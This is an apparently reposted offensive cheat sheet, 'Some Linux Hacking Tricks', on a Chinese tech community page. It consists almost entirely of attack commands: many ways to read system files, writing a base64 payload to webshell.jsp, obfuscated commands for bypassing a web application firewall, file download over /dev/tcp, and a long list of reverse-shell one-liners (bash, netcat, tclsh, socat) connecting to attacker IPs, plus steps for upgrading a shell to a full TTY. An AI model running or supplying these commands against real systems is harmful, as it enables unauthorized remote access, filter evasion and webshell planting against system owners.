前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Some Linux Hacking Tricks

Some Linux Hacking Tricks

作者头像
xfkxfk
发布2018-05-15 17:15:03
8250
发布2018-05-15 17:15:03
举报

There is always a method here is useful for you to penetrantion testing :)

Some ways to read system files
代码语言:javascript
复制
 1cat /etc/issue
 2tac /etc/issue
 3less /etc/issue
 4more /etc/issue
 5head /etc/issue
 6tail /etc/issue
 7nl /etc/issue
 8xxd /etc/issue
 9sort /etc/issue
10uniq /etc/issue
11strings /etc/issue
12sed -n '1,10p' /etc/issue
13grep . /etc/issue
14python -c "print(open('/etc/issue').read())"
15perl -F: -lane 'print "@F[0..4]\n"' /etc/issue
16ruby -e 'IO.foreach("/etc/issue"){|a| print a}'
17php -r "echo file_get_contents('/etc/issue');"
18echo $(</etc/issue) or echo `</etc/issue`
19awk '{print $0}' /etc/issue
20base64 -i /etc/issue
21dd count=1000 bs=1 if=/etc/issue 2>/dev/null
22egrep|fgrep|rgrep|agrep "" /etc/issue
23rev /etc/issue
24comm /etc/issue /etc/issue
25paste /etc/issue
Echo a large file to the file System
代码语言:javascript
复制
1echo -n "aGVsbG8gd29ybGQK"|base64 -d > webshell.jsp
Execute commands in bash to bypass waf
代码语言:javascript
复制
1# cat /etc/issue
2$1c$2a$3t$IFS/$4e$5t$6c/$7i$8s$9s$1u$1e 
3{cat,/etc/issue}
4cat<>/etc/issue
5CMD=$'\x20/etc/issue'&&cat$CMD
6echo Y2F0IC9ldGMvaXNzdWU=|base64 -d|bash
Download file without nc&wget
代码语言:javascript
复制
1exec 5<>/dev/tcp/ip/port &&echo -e "GET /filename HTTP/1.0\n" >&5 && cat<&5 > filename
Create An Interactive Shell
代码语言:javascript
复制
 1# Use Bash
 2$ bash -i >& /dev/tcp/192.168.68.206/2333 0>&1
 3$ exec 196<>/dev/tcp/192.168.68.206/2333; sh <&196 >&196 2>&196
 4$ exec 5<>/dev/tcp/192.168.68.206/2333 cat <&5 | while read line; do $line 2>&5 >&5;done
 5$ exec 5<>/dev/tcp/192.168.68.206/2333 cat <&5 | while read line 0<&5; do $line 2>&5 >&5; done
 6
 7# Use Netcat
 8$ nc -e /bin/sh 192.168.68.206 2333  
 9$ mkfifo fifo ; nc.traditional -u 192.168.199.199 5555 < fifo | { bash -i; } > fifo
10$ nc 192.168.199.199 5555 -c /bin/bash
11$ if [ -e /tmp/f ]; then rm /tmp/f;fi;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.199.199 5555 > /tmp/f
12$ if [ -e /tmp/f ]; then rm -f /tmp/f;fi;mknod /tmp/f p && nc 192.168.199.199 5555 0</tmp/f|/bin/bash 1>/tmp/f
13$ nc 192.168.68.206 2333|/bin/sh|nc 192.168.68.206 2444  
14
15# Use TCHsh
16$ echo 'set s [socket 192.168.199.199 5555];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh # tcp
17
18# Use Socat
19$ socat tcp-connect:192.168.199.199:5555 exec:"bash -li",pty,stderr,setsid,sigint,sane # tcp
20
21## Full list please read my blog
22## http://reverse-tcp.xyz/2017/01/08/Some-Ways-To-Create-An-Interactive-Shell-On-Linux/
Use rlwrap to run netcat and create a listening port
代码语言:javascript
复制
1# Allow the editing of keyboard input for any other command.
2rlwrap -S "$(printf '\033[95mFS>\033[m ')" nc -lvvp 4444
Upgrading simple shells to fully interactive TTYs
代码语言:javascript
复制
 1## use Python to spawn a pty
 2python -c 'import pty; pty.spawn("/bin/bash")'
 3
 4## Using socat
 5# Socat is like netcat and it can be used to pass full TTY's over TCP connections.
 6# If socat isn't installed, you can download id from here : https://github.com/andrew-d/static-binaries
 7# On Attack Host
 8socat file:`tty`,raw,echo=0 tcp-listen:4444 
 9# On Victim
10socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
11
12## Using Expect
13cat sh.exp
14#!/usr/bin/expect
15# Spawn a shell, then allow the user to interact with it.
16# The new shell will have a good enough TTY to run tools like ssh, su and login
17spawn sh
18interact
19# In reverse shell
20expect sh.exp
21
22## Using stty options
23#
24# In reverse shell
25python -c 'import pty; pty.spawn("/bin/bash")'
26Ctrl-Z
27# In attack shell
28stty raw -echo
29fg
30# In reverse shell
31reset
32export SHELL=bash
33export TERM=xterm-256color
34stty rows <num> columns <cols>
One command to locate the web path
代码语言:javascript
复制
1find / -type f -name "*.*" | xargs grep "htmlstring"
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-05-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 逢魔安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Some ways to read system files
  • Echo a large file to the file System
  • Execute commands in bash to bypass waf
  • Download file without nc&wget
  • Create An Interactive Shell
  • Use rlwrap to run netcat and create a listening port
  • Upgrading simple shells to fully interactive TTYs
  • One command to locate the web path
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档